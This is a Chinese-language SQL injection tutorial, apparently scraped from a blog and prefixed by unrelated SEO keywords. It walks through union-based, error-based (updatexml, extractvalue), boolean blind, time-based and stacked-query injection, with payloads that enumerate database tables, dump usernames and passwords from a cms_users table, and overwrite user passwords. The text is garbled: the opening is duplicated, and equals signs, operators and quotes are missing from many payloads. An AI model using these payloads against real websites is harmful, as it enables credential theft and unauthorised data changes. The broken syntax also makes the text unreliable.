网站全面推广方案,网站建设费如何记账,阿里云虚拟主机怎么建立网站,soul是哪家公司开发的目的
通过sqk注入获取数据内容
掌握sql注入基本手法
我们这里使用
1.联合注入
就是利用union select 语句 两条语句 同时执行 实现跨库跨表查询
条件
两条select语句查询结果具有相同列数
对应列数数据类型相同 简单的步骤
1.目标分析
#xff1f;id…目的
通过sqk注入获取数据内容
掌握sql注入基本手法
我们这里使用
1.联合注入
就是利用union select 语句 两条语句 同时执行 实现跨库跨表查询
条件
两条select语句查询结果具有相同列数
对应列数数据类型相同 简单的步骤
1.目标分析
id32
id33
这一步看看有没有页面变化 其实就是mysql数据库执行 如果有 第一步
查看列数
id32 order by 1 一致改变数字 直到页面一篇空白 没有内容
判断出来一共有多少列
如果到20就显示空白 那末20-1 就是19 是他的极限 第二步
判断回显位置
把第一条select查询语句变成假的
因为只要前端报错 后面的语句才会执行
id-32假的 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
id32 and 12 这个也是假
这一步会把 回显的位置爆破出来 第三步
数据库敏感信息
也可以 id-33
?id32 and 12 union select 1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15 在回显位置查看数据库名字
?id32 and 12 union select 1,2,3,4,5,6,7,8,9,10,version(),12,13,14,15 查看版本
?id32 and 12 union select 1,2,3,4,5,6,7,8,9,10,datadir,12,13,14,15 查看数据库系统变量
?id32 and 12只为假 union select 1,2,3,4,5,6,7,8,9,10,current_user(),12,13,14,15 1 2 3 4 函数返回的是当前会话中的用户身份信息 获取管理员和密码 必须报错前面的值
information_schema.tables 自带数据库 库名字 表名字 列名字
数据库名字
?id-33 UNION SELECT 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15 表名字
1.查看数据库所有的表 group by
?id-33 UNION SELECT 1,2,count(*)统计,4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tablesmysql的自带数据库 where table_schemadatabase()条件是现在的数据库 这句话的意思 2.查看表的名字 16进制 bp可以解码 ?id-33 UNION SELECT 1,2,hex(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schemadatabase() limit 0,1 16进制查看0列1行 ?id-33 UNION SELECT 1,2,hex(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schemadatabase() limit 1,1 查看1行1列 2.查出所有的表的 它将从当前数据库中的所有表中获取信息
?id-33 UNION SELECT 1,2,hex(group_concat(table_name))分组查询,4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schemadatabase()
记住一定要解码 负责就是16进制 bp或者网站 3.查看列数
?id-33 UNION SELECT 1,2,hex(group_concat(column_name))合并列名,4,5,6,7,8,9,10,11,12,13,14,15 from
information_schema.columns where table_schemadatabase() and table_namecms_users’
查看列数 在这个表里 在这个数据库 4.查看账户和密码
id-33 UNION SELECT 1,2,hex(concat(username,0x3a,password)),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users 查看表里的账户和密码 一定要解密 报错注入
在注入点判断过程中 发现sql注入的报错语句 显示到页面
在错误信息里执行sql语句
案例
id33‘ 数据库报错
id33’‘ 数据库 直接使用 第一种方法 group by
查看数据库 页面并且报错
报错页面
前提
id33’闭合字段 爆数据库的错 并且回显到页面 第一中 updatexml
mysql数据库
爆数据库名and(select updatexml(1,concat(0x7e,(select database())),0x7e)) 爆表名and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schemadatabase())),0x7e)) 爆列名and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_nameTABLE_NAME)),0x7e)) 爆数据and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e)) 第二种 extractvalue
查数据库名idand(select extractvalue(1,concat(0x7e,(select database())))) 爆表名idand(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase())))) 爆字段名idand(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_nameTABLE_NAME)))) 爆数据idand(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME)))) 三.布尔盲注
没有回显 直接猜 效率极低
1. id2闭合 and database()xxx -- 猜数据库名字 页面正常
2.?id2 and length(database())8 -- 猜长度 页面正常
3.猜数据库的字目 ascill值
id2 and ascii(substr(database(),1,1))115 -- 第一个数字 and ascii(substr(database(),2,1))101 -- 第二个数字 四.延时注入
实验sleep的延时性 以时间线做判断条件
?id2 and if(length(database())1,sleep(5),1) -- 看看页面延时 如果数据库名字大于1睡5s
?id2 and if(substr(database(),3,1)c,sleep(5),1) -- 如果是第三个列的第一个字符 是不是为c 五.堆叠查询 多条语句执行 真实场景极少
堆叠注入和union的区别在于union后只能跟select而堆叠后面可以使用insertupdate createdelete等常规数据库语句
id2;update users set password123456--